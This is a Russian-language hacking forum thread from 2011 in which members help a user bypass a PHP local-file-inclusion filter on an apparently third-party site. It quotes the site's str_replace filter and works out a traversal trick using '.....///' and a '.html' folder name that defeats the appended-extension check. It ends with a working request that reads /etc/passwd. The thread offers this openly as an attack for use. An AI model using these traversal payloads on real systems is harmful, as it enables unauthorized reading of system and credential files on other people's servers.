Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   Фильтрация при инклуде (https://forum.antichat.xyz/showthread.php?t=308452)

jangle 15.12.2011 00:17

есть запрос

Цитата:

Сообщение от None
index.php?file=\..\..\..\..\..\..\..\..\etc\passwd

Выдает ответ

Цитата:

Сообщение от None
Template Execution Halted! Error: /etc/passwd.html (Template file does not exist)

А вот сама фильтрация в файле index.php

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"http://"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"ftp://"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"://"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]chr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"../"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"./"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"%"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]);

if ([/COLOR][COLOR="#0000BB"]strpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]".html"[/COLOR][COLOR="#007700"]) ===[/COLOR][COLOR="#0000BB"]FALSE[/COLOR][COLOR="#007700"]) {

[/
COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]".html"[/COLOR][COLOR="#007700"];

}

[/
COLOR][/COLOR

Кроме того при обработке file фильтруется

PHP код:

PHP:
[
COLOR="#000000"]$theValue = str_replace(";","",$theValue);

$theValue
= str_replace("[COLOR="#0000BB"][/COLOR]","",$theValue);

$theValue = htmlentities($theValue);

[/
COLOR

Это как то можно обойти и заинклудить файл?

Мои благодарности!!!

Чакэ 15.12.2011 01:27

никак. тут, хоть и по быдляцки организованная, но всё же, фильтрация есть на конец файла что будет инклудится. выйти на пределы папки можно используя ...../// а вот расширение не отбросить.

jangle 15.12.2011 01:30

По папкам перебераться научился.

При запросе

Цитата:

Сообщение от None
index.php?file=/.....///admin/blank

Цитата:

Сообщение от None
Template Execution Halted!
Error: /var/site/www/templates/compiled//../admin/blank.html (Cannot create compiled version - check user rights on compiled directory)

а при

Цитата:

Сообщение от None
index.php?file=/.....///default

выдает default.html в корневой директории.

Но вот как отрезать .html

Пробовал слеши.

при запросе

Цитата:

Сообщение от None
index.php?file=/.....///index.php//// (8143 слешей)

дает

Цитата:

Сообщение от None
Request-URI Too Large
The requested URL's length exceeds the capacity limit for this server.

если слешей меньше - просто говорит что не найден файл(((

Может кто подскажет как откинуть хвост?

Спасибо

jangle 15.12.2011 01:34

To Чакэ

Спасибо большое

Пока писал пост - ты ответил.

Konqi 15.12.2011 01:35

если научился перебратся по папкам, тогда .html легко вырезать, в коде же написано, если в имени файла есть .html , то добавлятся не будет в конце, то есть можешь использовать .html Например как имя папки, а потом выйти за его пределы

jangle 15.12.2011 01:41

To Konqi

ПОЖАЛУЙСТА покажи как на моих примерах выше. Суть не могу уловить

Konqi 15.12.2011 01:45

Цитата:

Сообщение от jangle
jangle said:
To Konqi
ПОЖАЛУЙСТА покажи как на моих примерах выше. Суть не могу уловить

$file = '/папка/.html/[выйти_за_пределы_папки_.html]/а_тут_что_хочешь'

в этом случий в конце не будет добавлено .html, так как условие if (strpos($file,".html") == FALSE)) НЕ выполняется

jangle 15.12.2011 01:49

Ура получилось

Цитата:

Сообщение от None
index.php?file=/.html/.....///.....///.....///.....///.....///.....///etc/passwd

To Konqi

ты просто ГЕНИЙ!!!!!!!!!!!

aydin-ka 15.12.2011 17:53

Я конечно в этом плохо разбираюсь...а можно "пойти" через протокол DATA например так:

http://site.ru/index.php?id=data:,&cmd=../../../../../../etc/passwd

Boolean 16.12.2011 00:40

Цитата:

Сообщение от aydin-ka
aydin-ka said:
Я конечно в этом плохо разбираюсь...а можно "пойти" через протокол DATA
например так:
http://site.ru/index.php?id=data:,&cmd=../../../../../../etc/passwd

Не неси чушь.


Время: 22:38